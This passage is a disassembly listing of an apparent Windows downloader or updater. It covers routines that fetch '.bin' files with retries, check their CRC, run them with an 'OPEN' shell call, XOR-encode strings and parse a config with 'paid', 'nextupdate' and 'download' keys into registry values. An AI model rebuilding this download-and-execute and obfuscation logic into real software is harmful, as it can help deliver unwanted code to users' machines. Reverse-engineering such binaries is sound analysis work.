eax call [ebp+var_10] loc_4229CF: ; CODE XREF: sub_4227A4+222j mov ecx, [ebp+var_1C] push ecx call dword_433054 ; FreeLibrary mov edx, [ebp+arg_4] mov eax, [ebp+var_2034] mov ecx, [eax+4] mov [edx], ecx mov eax, [ebp+var_4] loc_4229EA: ; CODE XREF: sub_4227A4+1Bj ; sub_4227A4+5Fj ... mov esp, ebp pop ebp retn 8 sub_4227A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4229F0 proc near ; DATA XREF: TEUm:off_4332CCo var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] call sub_4226C7 mov eax, [ebp+arg_0] and eax, 1 test eax, eax jz short loc_422A15 mov ecx, [ebp+var_4] push ecx call sub_43177E add esp, 4 loc_422A15: ; CODE XREF: sub_4229F0+17j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_4229F0 endp ; =============== S U B R O U T I N E ======================================= sub_422A1E proc near ; CODE XREF: sub_429850+34p mov eax, offset loc_431E0B call sub_4318CA ; _EH_prolog sub esp, 284h push ebx push esi mov esi, ecx push edi mov [ebp-1Ch], esi call sub_4317AE and dword ptr [ebp-4], 0 lea ecx, [esi+4] call sub_4317AE lea ebx, [esi+8] mov byte ptr [ebp-4], 1 mov ecx, ebx call sub_4317AE lea ecx, [esi+10h] mov byte ptr [ebp-4], 2 call sub_4317AE lea ecx, [esi+14h] mov byte ptr [ebp-4], 3 call sub_4317AE lea edi, [esi+1Ch] mov byte ptr [ebp-4], 4 mov ecx, edi call sub_4317AE lea ecx, [esi+20h] mov byte ptr [ebp-4], 5 call sub_4317AE lea ecx, [esi+24h] mov byte ptr [ebp-4], 6 call sub_4317AE lea ecx, [esi+202Ch] mov byte ptr [ebp-4], 7 call sub_4226B0 lea ecx, [ebp-14h] mov byte ptr [ebp-4], 8 call sub_4317AE lea eax, [ebp-290h] push 125h push eax mov byte ptr [ebp-4], 9 call dword_4330D4 ; GetWindowsDirectoryA lea eax, [ebp-168h] push 104h push eax push 0 call dword_4330D8 ; GetModuleFileNameA lea eax, [ebp-290h] mov ecx, edi push eax call sub_43179C mov edi, dword_4330E0 push 20h call edi ; Sleep lea eax, [ebp-168h] lea ecx, [esi+20h] push eax call sub_43179C lea eax, [ebp-44h] push 1 push eax mov ecx, esi call sub_424B41 lea eax, [ebp-44h] mov ecx, ebx push eax call sub_43179C push 24h call edi ; Sleep push 47h lea eax, [ebp-18h] push offset aD ; "%d" push eax call dword_4331E4 ; sprintf add esp, 0Ch push 25h call edi ; Sleep lea eax, [ebp-18h] mov ecx, esi push eax call sub_43179C push ecx mov eax, esp mov [ebp-10h], esp push esi push ebx push eax call sub_4317B4 lea eax, [ebp-10h] mov ecx, esi push eax call sub_422FB0 push eax lea ecx, [ebp-14h] mov byte ptr [ebp-4], 0Ah call sub_4317A8 lea ecx, [ebp-10h] mov byte ptr [ebp-4], 9 call sub_4317A2 push ecx lea eax, [ebp-14h] mov ecx, esp mov [ebp-10h], esp push eax call sub_431796 mov ecx, esi call sub_425746 test al, al jz short loc_422B90 mov byte ptr [esi+18h], 1 jmp short loc_422B94 ; --------------------------------------------------------------------------- loc_422B90: ; CODE XREF: sub_422A1E+16Aj push 25h call edi ; Sleep loc_422B94: ; CODE XREF: sub_422A1E+170j lea ecx, [ebp-14h] mov byte ptr [ebp-4], 8 call sub_4317A2 mov ecx, [ebp-0Ch] mov eax, esi pop edi pop esi mov large fs:0, ecx pop ebx leave retn sub_422A1E endp ; =============== S U B R O U T I N E ======================================= sub_422BB1 proc near ; CODE XREF: sub_4297D0+4Dp ; TEUm:004327B2p ... mov eax, offset loc_431E6D call sub_4318CA ; _EH_prolog push ecx push esi mov esi, ecx mov [ebp-10h], esi push 0 mov dword ptr [ebp-4], 7 call dword_4332B0 lea ecx, [esi+202Ch] call sub_4226C7 lea ecx, [esi+24h] mov byte ptr [ebp-4], 6 call sub_4317A2 lea ecx, [esi+20h] mov byte ptr [ebp-4], 5 call sub_4317A2 lea ecx, [esi+1Ch] mov byte ptr [ebp-4], 4 call sub_4317A2 lea ecx, [esi+14h] mov byte ptr [ebp-4], 3 call sub_4317A2 lea ecx, [esi+10h] mov byte ptr [ebp-4], 2 call sub_4317A2 lea ecx, [esi+8] mov byte ptr [ebp-4], 1 call sub_4317A2 and byte ptr [ebp-4], 0 lea ecx, [esi+4] call sub_4317A2 or dword ptr [ebp-4], 0FFFFFFFFh mov ecx, esi call sub_4317A2 mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn sub_422BB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422C48 proc near ; CODE XREF: sub_422ECA+30p var_1844 = byte ptr -1844h var_1044 = byte ptr -1044h var_844 = byte ptr -844h var_44 = dword ptr -44h var_40 = dword ptr -40h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_28 = dword ptr -28h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch arg_18 = byte ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1844h call sub_431860 push ebx push esi push edi mov edi, dword_4330CC push [ebp+arg_8] lea eax, [ebp+var_1044] mov [ebp+var_4], ecx push eax call edi ; lstrcpyA push [ebp+arg_C] mov esi, dword_433074 lea eax, [ebp+var_1044] push eax call esi ; lstrcatA lea eax, [ebp+var_1044] push offset a_bin ; ".bin" push eax call esi ; lstrcatA push [ebp+arg_8] lea eax, [ebp+var_1844] push eax call edi ; lstrcpyA push [ebp+arg_C] lea eax, [ebp+var_1844] push eax call esi ; lstrcatA cmp byte ptr [ebp+arg_14], 0 mov [ebp+arg_C], 3 mov [ebp+var_8], 1 jz short loc_422CBD and [ebp+var_8], 0 loc_422CBD: ; CODE XREF: sub_422C48+6Fj push ecx mov ecx, esp mov [ebp+arg_14], esp push offset aInstallzip ; "InstallZip()\n" call sub_43178A mov ecx, [ebp+var_4] call sub_424B35 mov ebx, dword_4330E0 loc_422CDB: ; CODE XREF: sub_422C48+10Bj lea eax, [ebp+var_1044] push eax mov eax, [ebp+var_4] push [ebp+arg_0] lea ecx, [eax+202Ch] call sub_4226DB test al, al jz short loc_422D45 lea eax, [ebp+var_1044] push eax call sub_4221DB test eax, eax pop ecx jz short loc_422D45 cmp [ebp+arg_1C], 0 jz short loc_422D5E push [ebp+arg_1C] push ecx mov ecx, esp mov [ebp+arg_14], esp push [ebp+arg_8] call sub_43178A mov ecx, [ebp+var_4] call sub_424AAF cmp al, 1 jz short loc_422D5E lea eax, [ebp+var_844] push offset aCrcFailed ; "crc failed:" push eax call edi ; lstrcpyA push [ebp+arg_8] lea eax, [ebp+var_844] push eax call esi ; lstrcatA loc_422D45: ; CODE XREF: sub_422C48+ADj ; sub_422C48+BEj dec [ebp+arg_C] push 0EA80h call ebx ; Sleep cmp [ebp+arg_C], 0 jnz short loc_422CDB loc_422D55: ; CODE XREF: sub_422C48+207j xor al, al loc_422D57: ; CODE XREF: sub_422C48+27Dj pop edi pop esi pop ebx leave retn 24h ; --------------------------------------------------------------------------- loc_422D5E: ; CODE XREF: sub_422C48+C4j ; sub_422C48+E1j push [ebp+arg_8] mov ecx, [ebp+var_4] lea eax, [ebp+var_1044] push eax call sub_424A2E test al, al jz loc_422EC3 cmp [ebp+arg_10], 0 jz loc_422EC3 push [ebp+arg_8] call sub_4221DB test eax, eax pop ecx jz short loc_422DDD push [ebp+arg_8] lea eax, [ebp+var_844] push eax call edi ; lstrcpyA lea eax, [ebp+var_844] push offset a_old ; ".old" push eax call esi ; lstrcatA lea eax, [ebp+var_844] push 1 push eax push [ebp+arg_8] call sub_421D8A lea eax, [ebp+var_844] push eax call sub_4221DB add esp, 10h test eax, eax jz short loc_422DDD lea eax, [ebp+var_844] push 1 push eax call sub_421C92 pop ecx pop ecx loc_422DDD: ; CODE XREF: sub_422C48+145j ; sub_422C48+183j lea eax, [ebp+var_844] push offset aCrcOkInstall ; "crc ok, Install(" push eax call edi ; lstrcpyA push [ebp+arg_8] lea eax, [ebp+var_844] push eax call esi ; lstrcatA lea eax, [ebp+var_844] push offset asc_4370B4 ; ")" push eax call esi ; lstrcatA push ecx lea eax, [ebp+var_844] mov ecx, esp mov [ebp+arg_14], esp push eax call sub_43178A mov ecx, [ebp+var_4] call sub_424B35 lea eax, [ebp+var_1044] push eax call sub_4221DB test eax, eax pop ecx jz short loc_422E40 lea eax, [ebp+var_1044] push 1 push eax call sub_421C92 pop ecx pop ecx loc_422E40: ; CODE XREF: sub_422C48+1E6j lea eax, [ebp+var_1844] push eax call sub_4221DB test eax, eax pop ecx jz loc_422D55 push 29h call ebx ; Sleep push 42h call ebx ; Sleep push 3Ch lea eax, [ebp+var_44] pop esi push esi push 0 push eax call sub_4318B2 ; memset lea eax, [ebp+var_1844] add esp, 0Ch mov [ebp+var_34], eax mov eax, [ebp+arg_4] mov [ebp+var_30], eax mov eax, [ebp+var_8] push 63h mov [ebp+var_44], esi mov [ebp+var_38], offset aOpen ; "OPEN" mov [ebp+var_28], eax call ebx ; Sleep push 0ADh mov [ebp+var_40], 40h call ebx ; Sleep cmp [ebp+arg_C], 0 jle short loc_422EC3 mov ecx, [ebp+var_4] lea eax, [ebp+var_44] push eax call sub_42640B cmp [ebp+arg_18], 0 jz short loc_422EC3 push 0FFFFFFFFh push [ebp+var_C] call dword_4330D0 ; WaitForSingleObject loc_422EC3: ; CODE XREF: sub_422C48+12Aj ; sub_422C48+134j ... mov al, 1 jmp loc_422D57 sub_422C48 endp ; =============== S U B R O U T I N E ======================================= sub_422ECA proc near ; CODE XREF: sub_424606+262p mov eax, offset loc_431E78 call sub_4318CA ; _EH_prolog push ecx push ebx push esi push edi and dword ptr [ebp-4], 0 mov [ebp-10h], esp push dword ptr [ebp+28h] push dword ptr [ebp+24h] push dword ptr [ebp+20h] push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_422C48 test al, al setnz al jmp short loc_422F0E ; --------------------------------------------------------------------------- loc_422F06: ; DATA XREF: TEUm:00434F94o mov eax, offset loc_422F0C retn ; --------------------------------------------------------------------------- loc_422F0C: ; DATA XREF: sub_422ECA:loc_422F06o xor al, al loc_422F0E: ; CODE XREF: sub_422ECA+3Aj mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn 24h sub_422ECA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422F1F proc near ; CODE XREF: sub_42852F+617p var_868 = byte ptr -868h var_68 = byte ptr -68h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 868h push ebx push esi push edi mov esi, dword_4330CC push 3 lea eax, [ebp+var_868] pop edi mov ebx, ecx push [ebp+arg_0] push eax call esi ; lstrcpyA add ebx, 202Ch loc_422F48: ; CODE XREF: sub_422F1F+85j push [ebp+arg_4] lea eax, [ebp+var_868] mov ecx, ebx push eax call sub_4227A4 test eax, eax mov [ebp+var_4], eax jbe short loc_422F62 xor edi, edi loc_422F62: ; CODE XREF: sub_422F1F+3Fj test edi, edi jz short loc_422FA6 dec edi lea eax, [ebp+var_68] push edi push offset aRetryD ; "&retry=%d" push eax call dword_4331E4 ; sprintf add esp, 0Ch lea eax, [ebp+var_868] push [ebp+arg_0] push eax call esi ; lstrcpyA lea eax, [ebp+var_68] push eax lea eax, [ebp+var_868] push eax call dword_433074 ; lstrcatA push 49400h call dword_4330E0 ; Sleep test edi, edi jnz short loc_422F48 loc_422FA6: ; CODE XREF: sub_422F1F+45j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn 8 sub_422F1F endp ; =============== S U B R O U T I N E ======================================= sub_422FB0 proc near ; CODE XREF: sub_422A1E+134p ; sub_424606+F9p ... mov eax, offset loc_431EAB call sub_4318CA ; _EH_prolog mov eax, 4010h call sub_431860 and dword ptr [ebp-1Ch], 0 push ebx push esi push edi mov dl, ds:byte_439CB0 mov esi, 7FFh mov ecx, esi xor eax, eax lea edi, [ebp-201Bh] mov [ebp-201Ch], dl rep stosd stosw stosb mov ecx, esi xor eax, eax lea edi, [ebp-401Bh] mov [ebp-401Ch], dl rep stosd stosw lea ecx, [ebp-10h] mov dword ptr [ebp-4], 1 stosb call sub_4317AE push offset dword_437110 lea ecx, [ebp-10h] mov byte ptr [ebp-4], 2 call sub_43179C mov eax, [ebp+0Ch] xor esi, esi mov ebx, [eax-8] test ebx, ebx jle short loc_42306F mov edi, [ebp-10h] mov [ebp-14h], eax lea eax, [ebp-201Ch] sub [ebp-14h], eax loc_42303B: ; CODE XREF: sub_422FB0+BDj test esi, esi jle short loc_423054 mov ecx, [edi-8] mov eax, esi cdq idiv ecx test eax, eax mov eax, esi jle short loc_423056 cdq idiv ecx mov eax, edx jmp short loc_423056 ; --------------------------------------------------------------------------- loc_423054: ; CODE XREF: sub_422FB0+8Dj mov eax, esi loc_423056: ; CODE XREF: sub_422FB0+9Bj ; sub_422FB0+A2j mov edx, [ebp-14h] mov al, [eax+edi] lea ecx, [ebp+esi-201Ch] mov dl, [edx+ecx] xor al, dl inc esi cmp esi, ebx mov [ecx], al jl short loc_42303B loc_42306F: ; CODE XREF: sub_422FB0+7Aj xor esi, esi test ebx, ebx jle short loc_4230A9 loc_423075: ; CODE XREF: sub_422FB0+F7j movzx eax, byte ptr [ebp+esi-201Ch] push eax lea eax, [ebp-16h] push offset a02x ; "%02X" push eax call dword_4331E4 ; sprintf lea eax, [ebp-16h] push eax lea eax, [ebp-401Ch] push eax call sub_4318D0 ; strcat mov eax, [ebp+0Ch] add esp, 14h inc esi cmp esi, [eax-8] jl short loc_423075 loc_4230A9: ; CODE XREF: sub_422FB0+C3j push offset byte_439CB0 lea ecx, [ebp+0Ch] call sub_43179C mov ecx, [ebp+8] lea eax, [ebp-401Ch] push eax call sub_43178A mov dword ptr [ebp-1Ch], 1 lea ecx, [ebp-10h] mov byte ptr [ebp-4], 1 call sub_4317A2 and byte ptr [ebp-4], 0 lea ecx, [ebp+0Ch] call sub_4317A2 mov ecx, [ebp-0Ch] mov eax, [ebp+8] pop edi pop esi pop ebx mov large fs:0, ecx leave retn 8 sub_422FB0 endp ; =============== S U B R O U T I N E ======================================= sub_4230F8 proc near ; CODE XREF: sub_424B41+F3p ; sub_424B41+142p ... mov eax, offset loc_431EE7 call sub_4318CA ; _EH_prolog mov eax, 6018h call sub_431860 mov dl, ds:byte_439CB0 push ebx push esi mov [ebp-20h], ecx mov esi, 7FFh push edi mov ecx, esi xor eax, eax lea edi, [ebp-4023h] mov [ebp-4024h], dl rep stosd stosw stosb mov ecx, esi xor eax, eax lea edi, [ebp-2023h] mov [ebp-2024h], dl rep stosd stosw xor ebx, ebx lea ecx, [ebp-10h] mov [ebp-1Ch], ebx stosb call sub_4317AE lea ecx, [ebp-18h] mov dword ptr [ebp-4], 1 call sub_4317AE push 63h mov byte ptr [ebp-4], 2 call dword_4330E0 ; Sleep mov esi, [ebp+10h] lea eax, [esi+1] push eax lea eax, [ebp-6024h] push dword ptr [ebp+0Ch] push eax call dword_4330C8 ; lstrcpynA push offset dword_437110 lea ecx, [ebp-10h] call sub_43179C mov [ebp+10h], esi xor edi, edi shr dword ptr [ebp+10h], 1 jz loc_423231 loc_4231A1: ; CODE XREF: sub_4230F8+133j test ebx, ebx jle short loc_4231BD mov eax, [ebp-10h] mov ecx, [eax-8] mov eax, edi cdq idiv ecx test eax, eax jle short loc_4231BD mov eax, edi cdq idiv ecx mov esi, edx jmp short loc_4231BF ; --------------------------------------------------------------------------- loc_4231BD: ; CODE XREF: sub_4230F8+ABj ; sub_4230F8+BAj mov esi, edi loc_4231BF: ; CODE XREF: sub_4230F8+C3j push 2 lea eax, [ebp-6024h] push ebx push eax lea eax, [ebp+0Ch] lea ecx, [ebp-24h] push eax call sub_421ACF push eax lea ecx, [ebp-18h] mov byte ptr [ebp-4], 3 call sub_4317A8 lea ecx, [ebp+0Ch] mov byte ptr [ebp-4], 2 call sub_4317A2 push dword ptr [ebp-18h] mov ecx, [ebp-20h] call sub_423288 mov ecx, [ebp-10h] movsx ecx, byte ptr [esi+ecx] xor eax, ecx push eax lea eax, [ebp-12h] push offset dword_437120 push eax call dword_4331E4 ; sprintf lea eax, [ebp-12h] push eax lea eax, [ebp-2024h] push eax call sub_4318D0 ; strcat add esp, 14h inc edi inc ebx inc ebx cmp edi, [ebp+10h] jb loc_4231A1 loc_423231: ; CODE XREF: sub_4230F8+A3j lea eax, [ebp-2024h] push eax lea eax, [ebp-4024h] push eax call sub_4318B8 ; strcpy pop ecx lea eax, [ebp-4024h] pop ecx mov ecx, [ebp+8] push eax call sub_43178A mov dword ptr [ebp-1Ch], 1 lea ecx, [ebp-18h] mov byte ptr [ebp-4], 1 call sub_4317A2 and byte ptr [ebp-4], 0 lea ecx, [ebp-10h] call sub_4317A2 mov ecx, [ebp-0Ch] mov eax, [ebp+8] pop edi pop esi pop ebx mov large fs:0, ecx leave retn 0Ch sub_4230F8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423288 proc near ; CODE XREF: sub_4230F8+FCp var_80 = byte ptr -80h var_7C = dword ptr -7Ch var_78 = byte ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6C = dword ptr -6Ch var_68 = byte ptr -68h var_64 = dword ptr -64h var_60 = byte ptr -60h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_54 = dword ptr -54h var_50 = byte ptr -50h var_4C = dword ptr -4Ch var_48 = byte ptr -48h var_44 = dword ptr -44h var_40 = byte ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 80h and [ebp+var_7C], 0 push ebx push esi push edi push [ebp+arg_0] mov [ebp+var_80], 30h mov [ebp+var_78], 31h mov [ebp+var_74], 1 mov [ebp+var_70], 32h mov [ebp+var_6C], 2 mov [ebp+var_68], 33h mov [ebp+var_64], 3 mov [ebp+var_60], 34h mov [ebp+var_5C], 4 mov [ebp+var_58], 35h mov [ebp+var_54], 5 mov [ebp+var_50], 36h mov [ebp+var_4C], 6 mov [ebp+var_48], 37h mov [ebp+var_44], 7 mov [ebp+var_40], 38h mov [ebp+var_3C], 8 mov [ebp+var_38], 39h mov [ebp+var_34], 9 mov [ebp+var_30], 41h mov [ebp+var_2C], 0Ah mov [ebp+var_28], 42h mov [ebp+var_24], 0Bh mov [ebp+var_20], 43h mov [ebp+var_1C], 0Ch mov [ebp+var_18], 44h mov [ebp+var_14], 0Dh mov [ebp+var_10], 45h mov [ebp+var_C], 0Eh mov [ebp+var_8], 46h mov [ebp+var_4], 0Fh call dword_4331B0 ; _strdup push eax call dword_4331B4 ; _mbsupr pop ecx xor esi, esi cmp byte ptr [eax], 30h pop ecx mov edx, eax jnz short loc_423365 cmp byte ptr [eax+1], 58h jnz short loc_423365 lea edx, [eax+2] loc_423365: ; CODE XREF: sub_423288+D2j ; sub_423288+D8j mov byte ptr [ebp+arg_0+3], 1 loc_423369: ; CODE XREF: sub_423288+10Dj mov cl, [edx] test cl, cl jz short loc_423397 xor edi, edi lea ebx, [ebp+var_80] loc_423374: ; CODE XREF: sub_423288+F9j cmp cl, [ebx] jz short loc_423383 inc edi add ebx, 8 cmp edi, 10h jge short loc_423397 jmp short loc_423374 ; --------------------------------------------------------------------------- loc_423383: ; CODE XREF: sub_423288+EEj cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_42338C shl esi, 4 loc_42338C: ; CODE XREF: sub_423288+FFj or esi, [ebp+edi*8+var_7C] inc edx and byte ptr [ebp+arg_0+3], 0 jmp short loc_423369 ; --------------------------------------------------------------------------- loc_423397: ; CODE XREF: sub_423288+E5j ; sub_423288+F7j push eax call dword_4331D4 ; free pop ecx mov eax, esi pop edi pop esi pop ebx leave retn 4 sub_423288 endp ; =============== S U B R O U T I N E ======================================= sub_4233A8 proc near ; CODE XREF: sub_42852F+99Ep var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push ebp push esi mov esi, ecx push edi push ecx mov ecx, esp mov [esp+18h+var_4], esp push offset dword_437124 call sub_43178A mov ecx, esi call sub_424B35 mov eax, [esp+14h+arg_4] xor ebx, ebx cmp eax, ebx jle loc_423481 mov ecx, [esp+14h+arg_0] mov edi, dword_4330CC mov [esp+14h+arg_4], eax mov ebp, offset byte_439CB0 lea esi, [ecx+4000h] loc_4233EE: ; CODE XREF: sub_4233A8+D3j lea eax, [esi-4000h] push ebp push eax call edi ; lstrcpyA lea eax, [esi-2000h] push ebp push eax call edi ; lstrcpyA push ebp push esi call edi ; lstrcpyA lea eax, [esi+2000h] push ebp push eax call edi ; lstrcpyA lea eax, [esi+4000h] push ebp push eax call edi ; lstrcpyA lea eax, [esi+6000h] push ebp push eax call edi ; lstrcpyA lea eax, [esi+0E000h] push ebp push eax call edi ; lstrcpyA lea eax, [esi+0A000h] push ebp push eax call edi ; lstrcpyA lea eax, [esi+8000h] push ebp push eax call edi ; lstrcpyA lea eax, [esi+0C000h] push ebp push eax call edi ; lstrcpyA mov [esi+10001h], bl mov byte ptr [esi+10002h], 1 mov [esi+10003h], bl mov [esi+10004h], bl mov [esi+10000h], bl mov [esi+10008h], ebx add esi, 1400Ch dec [esp+14h+arg_4] jnz loc_4233EE loc_423481: ; CODE XREF: sub_4233A8+27j pop edi pop esi pop ebp pop ebx pop ecx retn 8 sub_4233A8 endp ; =============== S U B R O U T I N E ======================================= sub_423489 proc near ; CODE XREF: sub_42852F+9D6p mov eax, offset loc_43202D call sub_4318CA ; _EH_prolog mov eax, 2134h call sub_431860 push ebx push esi push edi mov [ebp-28h], ecx xor ebx, ebx mov [ebp-4], ebx mov [ebp-24h], ebx mov [ebp-14h], ebx push ecx mov byte ptr [ebp-4], 1 mov ecx, esp mov [ebp-2Ch], esp push offset aParsexml ; "ParseXML()\n" call sub_43178A mov ecx, [ebp-28h] call sub_424B35 cmp [ebp+8], ebx jnz short loc_4234D9 push 80004003h call sub_431AB2 loc_4234D9: ; CODE XREF: sub_423489+44j mov ecx, [ebp+8] lea eax, [ebp-1Ch] push eax call sub_4243E7 push dword ptr [eax] lea ecx, [ebp-14h] call sub_4264A7 lea ecx, [ebp-1Ch] call sub_4264D2 mov edi, offset aS ; "%s" loc_4234FC: ; CODE XREF: sub_423489+CA3j push ebx lea ecx, [ebp-14h] call sub_4264DF test al, al jnz loc_424131 push offset aConfigversio_0 ; "configversion" lea ecx, [ebp-0C0h] call sub_424152 mov esi, eax cmp [ebp-14h], ebx mov byte ptr [ebp-4], 2 jnz short loc_423532 push 80004003h call sub_431AB2 loc_423532: ; CODE XREF: sub_423489+9Dj mov ecx, [ebp-14h] lea eax, [ebp-84h] push eax call sub_42430E push esi mov ecx, eax call sub_4241B9 mov ebx, eax lea ecx, [ebp-84h] neg ebx sbb bl, bl inc bl call sub_4241A6 lea ecx, [ebp-0C0h] mov byte ptr [ebp-4], 1 call sub_4241A6 test bl, bl jz loc_423633 cmp dword ptr [ebp-14h], 0 jnz short loc_423583 push 80004003h call sub_431AB2 loc_423583: ; CODE XREF: sub_423489+EEj mov ecx, [ebp-14h] lea eax, [ebp-0D0h] push eax call sub_42444B mov ecx, [eax] mov byte ptr [ebp-4], 3 test ecx, ecx jz short loc_4235A3 call sub_424244 jmp short loc_4235A5 ; --------------------------------------------------------------------------- loc_4235A3: ; CODE XREF: sub_423489+111j xor eax, eax loc_4235A5: ; CODE XREF: sub_423489+118j push eax lea eax, [ebp-2140h] push edi push eax call dword_4331E4 ; sprintf add esp, 0Ch lea ecx, [ebp-0D0h] mov byte ptr [ebp-4], 1 call sub_4241A6 push 80000000h push 1 push ecx mov ecx, esp mov [ebp-0C8h], esp push offset byte_439CB0 call sub_43178A push ecx mov byte ptr [ebp-4], 4 mov ecx, esp mov [ebp-20h], esp push offset aWrConfigversio ; "WR\\configversion" call sub_43178A lea ecx, [ebp-100h] mov byte ptr [ebp-4], 1 call sub_42692B push ecx lea eax, [ebp-2140h] mov ecx, esp mov [ebp-20h], esp push eax mov byte ptr [ebp-4], 5 call sub_43178A lea ecx, [ebp-100h] call sub_426DB8 lea ecx, [ebp-100h] mov byte ptr [ebp-4], 1 call sub_426ABF loc_423633: ; CODE XREF: sub_423489+E4j push offset aPaid ; "paid" lea ecx, [ebp-3Ch] call sub_424152 mov esi, eax cmp dword ptr [ebp-14h], 0 mov byte ptr [ebp-4], 6 jnz short loc_423656 push 80004003h call sub_431AB2 loc_423656: ; CODE XREF: sub_423489+1C1j mov ecx, [ebp-14h] lea eax, [ebp-94h] push eax call sub_42430E push esi mov ecx, eax call sub_4241B9 mov ebx, eax lea ecx, [ebp-94h] neg ebx sbb bl, bl inc bl call sub_4241A6 lea ecx, [ebp-3Ch] mov byte ptr [ebp-4], 1 call sub_4241A6 test bl, bl jz loc_423754 cmp dword ptr [ebp-14h], 0 jnz short loc_4236A4 push 80004003h call sub_431AB2 loc_4236A4: ; CODE XREF: sub_423489+20Fj mov ecx, [ebp-14h] lea eax, [ebp-0C4h] push eax call sub_42444B mov ecx, [eax] mov byte ptr [ebp-4], 7 test ecx, ecx jz short loc_4236C4 call sub_424244 jmp short loc_4236C6 ; --------------------------------------------------------------------------- loc_4236C4: ; CODE XREF: sub_423489+232j xor eax, eax loc_4236C6: ; CODE XREF: sub_423489+239j push eax lea eax, [ebp-2140h] push edi push eax call dword_4331E4 ; sprintf add esp, 0Ch lea ecx, [ebp-0C4h] mov byte ptr [ebp-4], 1 call sub_4241A6 push 80000000h push 1 push ecx mov ecx, esp mov [ebp-20h], esp push offset byte_439CB0 call sub_43178A push ecx mov byte ptr [ebp-4], 8 mov ecx, esp mov [ebp-0C8h], esp push offset aWrP ; "WR\\p" call sub_43178A lea ecx, [ebp-140h] mov byte ptr [ebp-4], 1 call sub_42692B push ecx lea eax, [ebp-2140h] mov ecx, esp mov [ebp-20h], esp push eax mov byte ptr [ebp-4], 9 call sub_43178A lea ecx, [ebp-140h] call sub_426DB8 lea ecx, [ebp-140h] mov byte ptr [ebp-4], 1 call sub_426ABF loc_423754: ; CODE XREF: sub_423489+205j push offset aNextupdate ; "nextupdate" lea ecx, [ebp-9Ch] call sub_424152 mov esi, eax cmp dword ptr [ebp-14h], 0 mov byte ptr [ebp-4], 0Ah jnz short loc_42377A push 80004003h call sub_431AB2 loc_42377A: ; CODE XREF: sub_423489+2E5j mov ecx, [ebp-14h] lea eax, [ebp-44h] push eax call sub_42430E push esi mov ecx, eax call sub_4241B9 mov ebx, eax lea ecx, [ebp-44h] neg ebx sbb bl, bl inc bl call sub_4241A6 lea ecx, [ebp-9Ch] mov byte ptr [ebp-4], 1 call sub_4241A6 test bl, bl jz loc_423865 cmp dword ptr [ebp-14h], 0 jnz short loc_4237C5 push 80004003h call sub_431AB2 loc_4237C5: ; CODE XREF: sub_423489+330j mov ecx, [ebp-14h] lea eax, [ebp-4Ch] push eax call sub_42444B mov ecx, [eax] mov byte ptr [ebp-4], 0Bh test ecx, ecx jz short loc_4237E2 call sub_424244 jmp short loc_4237E4 ; --------------------------------------------------------------------------- loc_4237E2: ; CODE XREF: sub_423489+350j xor eax, eax loc_4237E4: ; CODE XREF: sub_423489+357j push eax lea eax, [ebp-2140h] push edi push eax call dword_4331E4 ; sprintf add esp, 0Ch lea ecx, [ebp-4Ch] mov byte ptr [ebp-4], 1 call sub_4241A6 lea eax, [ebp-2140h] push eax call dword_4331A0 ; atol mov esi, eax lea eax, [ebp-1Ch] push eax call dword_4331A4 ; time pop ecx add [ebp-1Ch], esi pop ecx push 80000000h push 1 push 0 push ecx mov ecx, esp mov [ebp-20h], esp push offset aWrNextupdate ; "WR\\nextupdate" call sub_43178A lea ecx, [ebp-120h] call sub_426584 push dword ptr [ebp-1Ch] lea ecx, [ebp-120h] mov byte ptr [ebp-4], 0Ch call sub_426843 lea ecx, [ebp-120h] mov byte ptr [ebp-4], 1 call sub_4266D6 loc_423865: ; CODE XREF: sub_423489+326j push offset aDownload ; "download" lea ecx, [ebp-54h] call sub_424152 mov esi, eax cmp dword ptr [ebp-14h], 0 mov byte ptr [ebp-4], 0Dh jnz short loc_423888 push 80004003h call sub_431AB2 loc_423888: ; CODE XREF: sub_423489+3F3j mov ecx, [ebp-14h] lea eax, [ebp-0DCh] push eax call sub_42430E push esi mov ecx, eax call sub_4241B9 mov ebx, eax lea ecx, [ebp-0DCh] neg ebx sbb bl, bl inc bl call sub_4241A6 lea ecx, [ebp-54h] mov byte ptr [ebp-4], 1 call sub_4241A6 test bl, bl jz loc_4240FC cmp dword ptr [ebp-14h], 0 jnz short loc_4238D6 push 80004003h call sub_431AB2 loc_4238D6: ; CODE XREF: sub_423489+441j mov ecx, [ebp-14h] lea eax, [ebp-18h] push eax call sub_4243E7 mov eax, [ebp-24h] mov ecx, [ebp+0Ch] imul eax, 1400Ch mov byte ptr [ebp-4], 0Eh mov ebx, 80004003h lea edi, [eax+ecx+0A000h] 